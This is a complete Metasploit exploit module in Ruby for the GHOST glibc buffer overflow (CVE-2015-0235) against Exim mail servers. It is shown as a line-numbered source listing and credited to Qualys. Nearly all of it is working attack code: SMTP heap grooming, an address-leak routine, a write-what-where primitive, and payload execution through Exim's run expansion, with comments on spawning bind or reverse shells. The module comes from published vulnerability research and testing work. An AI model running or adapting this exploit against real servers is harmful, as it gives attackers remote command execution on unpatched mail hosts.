1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow', 'Description' => %q( This module remotely exploits CVE-2015-0235 (a.k.a. GHOST, a heap-based buffer overflow in the GNU C Library's gethostbyname functions) on x86 and x86_64 GNU/Linux systems that run the Exim mail server. Technical information about the exploitation can be found in the original GHOST advisory, and in the source code of this module. ------------------------------------------------------------------------ SERVER-SIDE REQUIREMENTS (Exim) ------------------------------------------------------------------------ The remote system must use a vulnerable version of the GNU C Library: the first exploitable version is glibc-2.6, the last exploitable version is glibc-2.17; older versions might be exploitable too, but this module depends on the newer versions' fd_nextsize (a member of the malloc_chunk structure) to remotely obtain the address of Exim's smtp_cmd_buffer in the heap. ------------------------------------------------------------------------ The remote system must run the Exim mail server: the first exploitable version is exim-4.77; older versions might be exploitable too, but this module depends on the newer versions' 16-KB smtp_cmd_buffer to reliably set up the heap as described in the GHOST advisory. ------------------------------------------------------------------------ The remote Exim mail server must be configured to perform extra security checks against its SMTP clients: either the helo_try_verify_hosts or the helo_verify_hosts option must be enabled; the "verify = helo" ACL might be exploitable too, but is unpredictable and therefore not supported by this module. ------------------------------------------------------------------------ CLIENT-SIDE REQUIREMENTS (Metasploit) ------------------------------------------------------------------------ This module's "exploit" method requires the SENDER_HOST_ADDRESS option to be set to the IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim); additionally, this IPv4 address must have both forward and reverse DNS entries that match each other (Forward-Confirmed reverse DNS). ------------------------------------------------------------------------ The remote Exim server might be exploitable even if the Metasploit client has no FCrDNS, but this module depends on Exim's sender_host_name variable to be set in order to reliably control the state of the remote heap. ------------------------------------------------------------------------ TROUBLESHOOTING ------------------------------------------------------------------------ "bad SENDER_HOST_ADDRESS (nil)" failure: the SENDER_HOST_ADDRESS option was not specified. ------------------------------------------------------------------------ "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)" failure: the SENDER_HOST_ADDRESS option was specified, but not in IPv4 dotted-decimal notation. ------------------------------------------------------------------------ "bad SENDER_HOST_ADDRESS (helo_verify_hosts)" or "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)" failure: the SENDER_HOST_ADDRESS option does not match the IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim). ------------------------------------------------------------------------ "bad SENDER_HOST_ADDRESS (no FCrDNS)" failure: the IPv4 address of the SMTP client (Metasploit) has no Forward-Confirmed reverse DNS. ------------------------------------------------------------------------ "not vuln? old glibc? (no leaked_arch)" failure: the remote Exim server is either not vulnerable, or not exploitable (glibc versions older than glibc-2.6 have no fd_nextsize member in their malloc_chunk structure). ------------------------------------------------------------------------ "NUL, CR, LF in addr? (no leaked_addr)" failure: Exim's heap address contains bad characters (NUL, CR, LF) and was therefore mangled during the information leak; this exploit is able to reconstruct most of these addresses, but not all (worst-case probability is ~1/85, but could be further improved). ------------------------------------------------------------------------ "Brute-force SUCCESS" followed by a nil reply, but no shell: the remote Unix command was executed, but spawned a bind-shell or a reverse-shell that failed to connect (maybe because of a firewall, or a NAT, etc). ------------------------------------------------------------------------ "Brute-force SUCCESS" followed by a non-nil reply, and no shell: the remote Unix command was executed, but failed to spawn the shell (maybe because the setsid command doesn't exist, or awk isn't gawk, or netcat doesn't support the -6 or -e option, or telnet doesn't support the -z option, etc). ------------------------------------------------------------------------ Comments and questions are welcome! ), 'Author' => ['Qualys, Inc. <qsa[at]qualys.com>'], 'License' => BSD_LICENSE, 'References' => [ ['CVE', '2015-0235'], ['US-CERT-VU', '967332'], ['OSVDB', '117579'], ['BID', '72325'], ['URL', 'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt'] ], 'DisclosureDate' => 'Jan 27 2015', 'Privileged' => false, # uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim) 'Platform' => 'unix', # actually 'linux', but we execute a unix-command payload 'Arch' => ARCH_CMD, # actually [ARCH_X86, ARCH_X86_64], but ^ 'Payload' => { 'Space' => 255, # the shorter the payload, the higher the probability of code execution 'BadChars' => "", # we encode the payload ourselves, because ^ 'DisableNops' => true, 'ActiveTimeout' => 24*60*60 # we may need more than 150 s to execute our bind-shell }, 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0 )) register_options([ Opt::RPORT(25), OptAddress.new('SENDER_HOST_ADDRESS', [false, 'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)', nil]) ], self.class) register_advanced_options([ OptBool.new('I_KNOW_WHAT_I_AM_DOING', [false, 'Please read the source code for details', nil]) ], self.class) end def check # for now, no information about the vulnerable state of the target check_code = Exploit::CheckCode::Unknown begin # not exploiting, just checking smtp_connect(false) # malloc()ate gethostbyname's buffer, and # make sure its next_chunk isn't the top chunk 9.times do smtp_send("HELO ", "", "0", "", "", 1024+16-1+0) smtp_recv(HELO_CODES) end # overflow (4 bytes) gethostbyname's buffer, and # overwrite its next_chunk's size field with 0x00303030 smtp_send("HELO ", "", "0", "", "", 1024+16-1+4) # from now on, an exception means vulnerable check_code = Exploit::CheckCode::Vulnerable # raise an exception if no valid SMTP reply reply = smtp_recv(ANY_CODE) # can't determine vulnerable state if smtp_verify_helo() isn't called return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/ # realloc()ate gethostbyname's buffer, and # crash (old glibc) or abort (new glibc) # on the overwritten size field smtp_send("HELO ", "", "0", "", "", 2048-16-1+4) # raise an exception if no valid SMTP reply reply = smtp_recv(ANY_CODE) # can't determine vulnerable state if smtp_verify_helo() isn't called return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/ # a vulnerable target should've crashed by now check_code = Exploit::CheckCode::Safe rescue peer = "#{rhost}:#{rport}" vprint_debug("#{peer} - Caught #{$!.class}: #{$!.message}") ensure smtp_disconnect end return check_code end def exploit unless datastore['I_KNOW_WHAT_I_AM_DOING'] print_status("Checking if target is vulnerable...") fail_with("exploit", "Vulnerability check failed.") if check != Exploit::CheckCode::Vulnerable print_good("Target is vulnerable.") end information_leak code_execution end private HELO_CODES = '250|451|550' ANY_CODE = '[0-9]{3}' MIN_HEAP_SHIFT = 80 MIN_HEAP_SIZE = 128 * 1024 MAX_HEAP_SIZE = 1024 * 1024 # Exim ALIGNMENT = 8 STORE_BLOCK_SIZE = 8192 STOREPOOL_MIN_SIZE = 256 LOG_BUFFER_SIZE = 8192 BIG_BUFFER_SIZE = 16384 SMTP_CMD_BUFFER_SIZE = 16384 IN_BUFFER_SIZE = 8192 # GNU C Library PREV_INUSE = 0x1 NS_MAXDNAME = 1025 # Linux MMAP_MIN_ADDR = 65536 def information_leak print_status("Trying information leak...") leaked_arch = nil leaked_addr = [] # try different heap_shift values, in case Exim's heap address contains # bad chars (NUL, CR, LF) and was mangled during the information leak; # we'll keep the longest one (the least likely to have been truncated) 16.times do done = catch(:another_heap_shift) do heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15) print_debug("#{{ heap_shift: heap_shift }}") # write the malloc_chunk header at increasing offsets (8-byte step), # until we overwrite the "503 sender not yet given" error message 128.step(256, 8) do |write_offset| error = try_information_leak(heap_shift, write_offset) print_debug("#{{ write_offset: write_offset, error: error }}") throw(:another_heap_shift) if not error next if error == "503 sender not yet given" # try a few more offsets (allows us to double-check things, # and distinguish between 32-bit and 64-bit machines) error = [error] 1.upto(5) do |i| error[i] = try_information_leak(heap_shift, write_offset + i*8) throw(:another_heap_shift) if not error[i] end print_debug("#{{ error: error }}") _leaked_arch = leaked_arch if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize (error[2] == error[3]) and (error[2].empty? or (error[2].unpack('C')[0] & 7) == 0) and # fd (error[4] =~ /\A503 send[^e].?\z/mn) and ((error[4].unpack('C*')[8] & 15) == PREV_INUSE) and # size (error[5] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing() leaked_arch = ARCH_X86_64 elsif (error[0].empty? or (error[0].unpack('C')[0] & 3) == 0) and # fd_nextsize (error[1].empty? or (error[1].unpack('C')[0] & 3) == 0) and # fd (error[2] =~ /\A503 [^s].?\z/mn) and ((error[2].unpack('C*')[4] & 7) == PREV_INUSE) and # size (error[3] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing() leaked_arch = ARCH_X86 else throw(:another_heap_shift) end print_debug("#{{ leaked_arch: leaked_arch }}") fail_with("infoleak", "arch changed") if _leaked_arch and _leaked_arch != leaked_arch # try different large-bins: most of them should be empty, # so keep the most frequent fd_nextsize address # (a pointer to the malloc_chunk itself) count = Hash.new(0) 0.upto(9) do |last_digit| error = try_information_leak(heap_shift, write_offset, last_digit) next if not error or error.length < 2 # heap_shift can fix the 2 least significant NUL bytes next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK count[error] += 1 end print_debug("#{{ count: count }}") throw(:another_heap_shift) if count.empty? # convert count to a nested array of [key, value] arrays and sort it error_count = count.sort { |a, b| b[1] <=> a[1] } error_count = error_count.first # most frequent error = error_count[0] count = error_count[1] throw(:another_heap_shift) unless count >= 6 # majority leaked_addr.push({ error: error, shift: heap_shift }) # common-case shortcut if (leaked_arch == ARCH_X86 and error[0,4] == error[4,4] and error[8..-1] == "er not yet given") or (leaked_arch == ARCH_X86_64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?) leaked_addr = [leaked_addr.last] # use this one, and not another throw(:another_heap_shift, true) # done end throw(:another_heap_shift) end throw(:another_heap_shift) end break if done end fail_with("infoleak", "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil? fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty? leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length } leaked_addr = leaked_addr.first # longest error = leaked_addr[:error] shift = leaked_addr[:shift] leaked_addr = 0 (leaked_arch == ARCH_X86 ? 4 : 8).times do |i| break if i >= error.length leaked_addr += error.unpack('C*')[i] * (2**(i*8)) end # leaked_addr should point to the beginning of Exim's smtp_cmd_buffer: leaked_addr -= 2*SMTP_CMD_BUFFER_SIZE + IN_BUFFER_SIZE + 4*(11*1024+shift) + 3*1024 + STORE_BLOCK_SIZE fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr <= MMAP_MIN_ADDR print_good("Successfully leaked_arch: #{leaked_arch}") print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}") @leaked = { arch: leaked_arch, addr: leaked_addr } end def try_information_leak(heap_shift, write_offset, last_digit = 9) fail_with("infoleak", "heap_shift") if (heap_shift < MIN_HEAP_SHIFT) fail_with("infoleak", "heap_shift") if (heap_shift & 15) != 0 fail_with("infoleak", "write_offset") if (write_offset & 7) != 0 fail_with("infoleak", "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/ smtp_connect # bulletproof Heap Feng Shui; the hard part is avoiding: # "Too many syntax or protocol errors" (3) # "Too many unrecognized commands" (3) # "Too many nonmail commands" (10) smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 11*1024+13-1 + heap_shift) smtp_recv(250) smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1) smtp_recv(250) smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1) smtp_recv(250) smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 8*1024+16+13-1) smtp_recv(250) smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+16+13-1) smtp_recv(250) # overflow (3 bytes) gethostbyname's buffer, and # overwrite its next_chunk's size field with 0x003?31 # ^ last_digit smtp_send("HELO ", "", "0", ".1#{last_digit}", "", 12*1024+3-1 + heap_shift-MIN_HEAP_SHIFT) begin # ^ 0x30 | PREV_INUSE smtp_recv(HELO_CODES) smtp_send("RSET") smtp_recv(250) smtp_send("RCPT TO:", "", method(:rand_text_alpha), "\x7F", "", 15*1024) smtp_recv(503, 'sender not yet given') smtp_send("", "BAD1 ", method(:rand_text_alpha), "\x7F\x7F\x7F\x7F", "", 10*1024-16-1 + write_offset) smtp_recv(500, '\A500 unrecognized command\r\n\z') smtp_send("BAD2 ", "", method(:rand_text_alpha), "\x7F", "", 15*1024) smtp_recv(500, '\A500 unrecognized command\r\n\z') smtp_send("DATA") reply = smtp_recv(503) lines = reply[:lines] fail if lines.size <= 3 fail if lines[+0] != "503-All RCPT commands were rejected with this error:\r\n" fail if lines[-2] != "503-valid RCPT command must precede DATA\r\n" fail if lines[-1] != "503 Too many syntax or protocol errors\r\n" # if leaked_addr contains LF, reverse smtp_respond()'s multiline splitting # (the "while (isspace(*msg)) msg++;" loop can't be easily reversed, # but happens with lower probability) error = lines[+1..-3].join("") error.sub!(/\A503-/mn, "") error.sub!(/\r\n\z/mn, "") error.gsub!(/\r\n503-/mn, "\n") return error rescue return nil end ensure smtp_disconnect end def code_execution print_status("Trying code execution...") # can't "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} " anymore: # DW/26 Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure # that rogue child processes cannot use them. fail_with("codeexec", "encoded payload") if payload.raw != payload.encoded fail_with("codeexec", "invalid payload") if payload.raw.empty? or payload.raw.count("^\x20-\x7E").nonzero? # Exim processes our run-ACL with expand_string() first (hence the [\$\{\}\\] escapes), # and transport_set_up_command(), string_dequote() next (hence the [\"\\] escapes). encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&') # setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);" command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}' print_debug(command) # don't try to execute commands directly, try a very simple ACL first, # to distinguish between exploitation-problems and shellcode-problems acldrop = "drop message=" message = rand_text_alpha(command.length - acldrop.length) acldrop += message max_rand_offset = (@leaked[:arch] == ARCH_X86 ? 32 : 64) max_heap_addr = @leaked[:addr] min_heap_addr = nil survived = nil # we later fill log_buffer and big_buffer with alpha chars, # which creates a safe-zone at the beginning of the heap, # where we can't possibly crash during our brute-force # 4, because 3 copies of sender_helo_name, and step_len; # start big, but refine little by little in case # we crash because we overwrite important data helo_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) / 4 loop do sender_helo_name = "A" * helo_len address = sprintf("[%s]:%d", @sender[:hostaddr], 65535) # the 3 copies of sender_helo_name, allocated by # host_build_sender_fullhost() in POOL_PERM memory helo_ip_size = ALIGNMENT + sender_helo_name[+1..-2].length sender_fullhost_size = ALIGNMENT + sprintf("%s (%s) %s", @sender[:hostname], sender_helo_name, address).length sender_rcvhost_size = ALIGNMENT + ((@sender[:ident] == nil) ? sprintf("%s (%s helo=%s)", @sender[:hostname], address, sender_helo_name) : sprintf("%s\n\t(%s helo=%s ident=%s)", @sender[:hostname], address, sender_helo_name, @sender[:ident]) ).length # fit completely into the safe-zone step_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) - (max_rand_offset + helo_ip_size + sender_fullhost_size + sender_rcvhost_size) loop do # inside smtp_cmd_buffer (we later fill smtp_cmd_buffer and smtp_data_buffer # with alpha chars, which creates another safe-zone at the end of the heap) heap_addr = max_heap_addr loop do # try harder the first time around: we obtain better # heap boundaries, and we usually hit our ACL faster (min_heap_addr ? 1 : 2).times do # try the same heap_addr several times, but with different random offsets, # in case we crash because our hijacked storeblock's length field is too small # (we don't control what's stored at heap_addr) rand_offset = rand(max_rand_offset) print_debug("#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}") reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset) print_debug("#{{ reply: reply }}") if reply if reply and reply[:code] == "550" and # detect the parsed ACL, not the "still in text form" ACL (with "=") reply[:lines].join("").delete("^=A-Za-z") =~ /(\A|[^=])#{message}/mn print_good("Brute-force SUCCESS") print_good("Please wait for reply...") # execute command this time, not acldrop reply = try_code_execution(helo_len, command, heap_addr + rand_offset) print_debug("#{{ reply: reply }}") return handler end if not min_heap_addr if reply fail_with("codeexec", "no min_heap_addr") if (max_heap_addr - heap_addr) >= MAX_HEAP_SIZE survived = heap_addr else if ((survived ? survived : max_heap_addr) - heap_addr) >= MIN_HEAP_SIZE # survived should point to our safe-zone at the beginning of the heap fail_with("codeexec", "never survived") if not survived print_good "Brute-forced min_heap_addr: #{survived.to_s(16)}" min_heap_addr = survived end end end end heap_addr -= step_len break if min_heap_addr and heap_addr < min_heap_addr end break if step_len < 1024 step_len /= 2 end helo_len /= 2 break if helo_len < 1024 # ^ otherwise the 3 copies of sender_helo_name will # fit into the current_block of POOL_PERM memory end fail_with("codeexec", "Brute-force FAILURE") end # our write-what-where primitive def try_code_execution(len, what, where) fail_with("codeexec", "#{what.length} >= #{len}") if what.length >= len fail_with("codeexec", "#{where} < 0") if where < 0 x86 = (@leaked[:arch] == ARCH_X86) min_heap_shift = (x86 ? 512 : 768) # at least request2size(sizeof(FILE)) heap_shift = min_heap_shift + rand(1024 - min_heap_shift) last_digit = 1 + rand(9) smtp_connect # fill smtp_cmd_buffer, smtp_data_buffer, and big_buffer with alpha chars smtp_send("MAIL FROM:", "", method(:rand_text_alpha), "<#{rand_text_alpha_upper(8)}>", "", BIG_BUFFER_SIZE - "501 : sender address must contain a domain\r\n\0".length) smtp_recv(501, 'sender address must contain a domain') smtp_send("RSET") smtp_recv(250) # bulletproof Heap Feng Shui; the hard part is avoiding: # "Too many syntax or protocol errors" (3) # "Too many unrecognized commands" (3) # "Too many nonmail commands" (10) # / 5, because "\x7F" is non-print, and: # ss = store_get(length + nonprintcount * 4 + 1); smtp_send("BAD1 ", "", "\x7F", "", "", (19*1024 + heap_shift) / 5) smtp_recv(500, '\A500 unrecognized command\r\n\z') smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+13-1) smtp_recv(250) smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1) smtp_recv(250) smtp_send("BAD2 ", "", "\x7F", "", "", (13*1024 + 128) / 5) smtp_recv(500, '\A500 unrecognized command\r\n\z') smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1) smtp_recv(250) # overflow (3 bytes) gethostbyname's buffer, and # overwrite its next_chunk's size field with 0x003?31 # ^ last_digit smtp_send("EHLO ", "", "0", ".1#{last_digit}", "", 5*1024+64+3-1) smtp_recv(HELO_CODES) # ^ 0x30 | PREV_INUSE # auth_xtextdecode() is the only way to overwrite the beginning of a # current_block of memory (the "storeblock" structure) with arbitrary data # (so that our hijacked "next" pointer can contain NUL, CR, LF characters). # this shapes the rest of our exploit: we overwrite the beginning of the # current_block of POOL_PERM memory with the current_block of POOL_MAIN # memory (allocated by auth_xtextdecode()). auth_prefix = rand_text_alpha(x86 ? 11264 : 11280) (x86 ? 4 : 8).times { |i| auth_prefix += sprintf("+%02x", (where >> (i*8)) & 255) } auth_prefix += "." # also fill log_buffer with alpha chars smtp_send("MAIL FROM:<> AUTH=", auth_prefix, method(:rand_text_alpha), "+", "", 0x3030) smtp_recv(501, 'invalid data for AUTH') smtp_send("HELO ", "[1:2:3:4:5:6:7:8%eth0:", " ", "#{what}]", "", len) begin reply = smtp_recv(ANY_CODE) return reply if reply[:code] !~ /#{HELO_CODES}/ return reply if reply[:code] != "250" and reply[:lines].first !~ /argument does not match calling host/ smtp_send("MAIL FROM:<>") reply = smtp_recv(ANY_CODE) return reply if reply[:code] != "250" smtp_send("RCPT TO:<postmaster>") reply = smtp_recv return reply rescue return nil end ensure smtp_disconnect end DIGITS = '([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])' DOT = '[.]' def smtp_connect(exploiting = true) fail_with("smtp_connect", "sock isn't nil") if sock connect fail_with("smtp_connect", "sock is nil") if not sock @smtp_state = :recv banner = smtp_recv(220) return if not exploiting sender_host_address = datastore['SENDER_HOST_ADDRESS'] if sender_host_address !~ /\A#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}\z/ fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (nil)") if sender_host_address.nil? fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)") end sender_host_address_octal = "0" + $1.to_i.to_s(8) + ".#{$2}.#{$3}.#{$4}" # turn helo_seen on (enable the MAIL command) # call smtp_verify_helo() (force fopen() and small malloc()s) # call host_find_byname() (force gethostbyname's initial 1024-byte malloc()) smtp_send("HELO #{sender_host_address_octal}") reply = smtp_recv(HELO_CODES) if reply[:code] != "250" fail_with("smtp_connect", "not Exim?") if reply[:lines].first !~ /argument does not match calling host/ fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (helo_verify_hosts)") end if reply[:lines].first =~ /\A250 (\S*) Hello (.*) \[(\S*)\]\r\n\z/mn fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)") if sender_host_address != $3 smtp_active_hostname = $1 sender_host_name = $2 if sender_host_name =~ /\A(.*) at (\S*)\z/mn sender_host_name = $2 sender_ident = $1 else sender_ident = nil end fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (no FCrDNS)") if sender_host_name == sender_host_address_octal else # can't double-check sender_host_address here, so only for advanced users fail_with("smtp_connect", "user-supplied EHLO greeting") unless datastore['I_KNOW_WHAT_I_AM_DOING'] # worst-case scenario smtp_active_hostname = "A" * NS_MAXDNAME sender_host_name = "A" * NS_MAXDNAME sender_ident = "A" * 127 * 4 # sender_ident = string_printing(string_copyn(p, 127)); end _sender = @sender @sender = { hostaddr: sender_host_address, hostaddr8: sender_host_address_octal, hostname: sender_host_name, ident: sender_ident, __smtp_active_hostname: smtp_active_hostname } fail_with("smtp_connect", "sender changed") if _sender and _sender != @sender # avoid a future pathological case by forcing it now: # "Do NOT free the first successor, if our current block has less than 256 bytes left." smtp_send("MAIL FROM:", "<", method(:rand_text_alpha), ">", "", STOREPOOL_MIN_SIZE + 16) smtp_recv(501, 'sender address must contain a domain') smtp_send("RSET") smtp_recv(250, 'Reset OK') end def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil) fail_with("smtp_send", "state is #{@smtp_state}") if @smtp_state != :send @smtp_state = :sending if not arg_pattern fail_with("smtp_send", "prefix is nil") if not prefix fail_with("smtp_send", "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length command = prefix else fail_with("smtp_send", "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length length = arg_length - arg_prefix.length - arg_suffix.length fail_with("smtp_send", "len is #{length}") if length <= 0 argument = arg_prefix case arg_pattern when String argument += arg_pattern * (length / arg_pattern.length) argument += arg_pattern[0, length % arg_pattern.length] when Method argument += arg_pattern.call(length) end argument += arg_suffix fail_with("smtp_send", "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length command = prefix + argument + suffix end fail_with("smtp_send", "invalid char in cmd") if command.count("^\x20-\x7F") > 0 fail_with("smtp_send", "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer # the following loop works around a bug in the put() method: # "while (send_idx < send_len)" should be "while (send_idx < buf.length)" # (or send_idx and/or send_len could be removed altogether, like here) while command and not command.empty? num_sent = sock.put(command) fail_with("smtp_send", "sent is #{num_sent}") if num_sent <= 0 fail_with("smtp_send", "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length command = command[num_sent..-1] end @smtp_state = :recv end def smtp_recv(expected_code = nil, expected_data = nil) fail_with("smtp_recv", "state is #{@smtp_state}") if @smtp_state != :recv @smtp_state = :recving failure = catch(:failure) do # parse SMTP replies very carefully (the information # leak injects arbitrary data into multiline replies) data = "" while data !~ /(\A|\r\n)[0-9]{3}[ ].*\r\n\z/mn begin more_data = sock.get_once rescue throw(:failure, "Caught #{$!.class}: #{$!.message}") end throw(:failure, "no more data") if more_data.nil? throw(:failure, "no more data") if more_data.empty? data += more_data end throw(:failure, "malformed reply (count)") if data.count("\0") > 0 lines = data.scan(/(?:\A|\r\n)[0-9]{3}[ -].*?(?=\r\n(?=[0-9]{3}[ -]|\z))/mn) throw(:failure, "malformed reply (empty)") if lines.empty? code = nil lines.size.times do |i| lines[i].sub!(/\A\r\n/mn, "") lines[i] += "\r\n" if i == 0 code = lines[i][0,3] throw(:failure, "bad code") if code !~ /\A[0-9]{3}\z/mn if expected_code and code !~ /\A(#{expected_code})\z/mn throw(:failure, "unexpected #{code}, expected #{expected_code}") end end line_begins_with = lines[i][0,4] line_should_begin_with = code + (i == lines.size-1 ? " " : "-") if line_begins_with != line_should_begin_with throw(:failure, "line begins with #{line_begins_with}, " \ "should begin with #{line_should_begin_with}") end end throw(:failure, "malformed reply (join)") if lines.join("") != data if expected_data and data !~ /#{expected_data}/mn throw(:failure, "unexpected data") end reply = { code: code, lines: lines } @smtp_state = :send return reply end fail_with("smtp_recv", "#{failure}") if expected_code return nil end def smtp_disconnect disconnect if sock fail_with("smtp_disconnect", "sock isn't nil") if sock @smtp_state = :disconnected end end |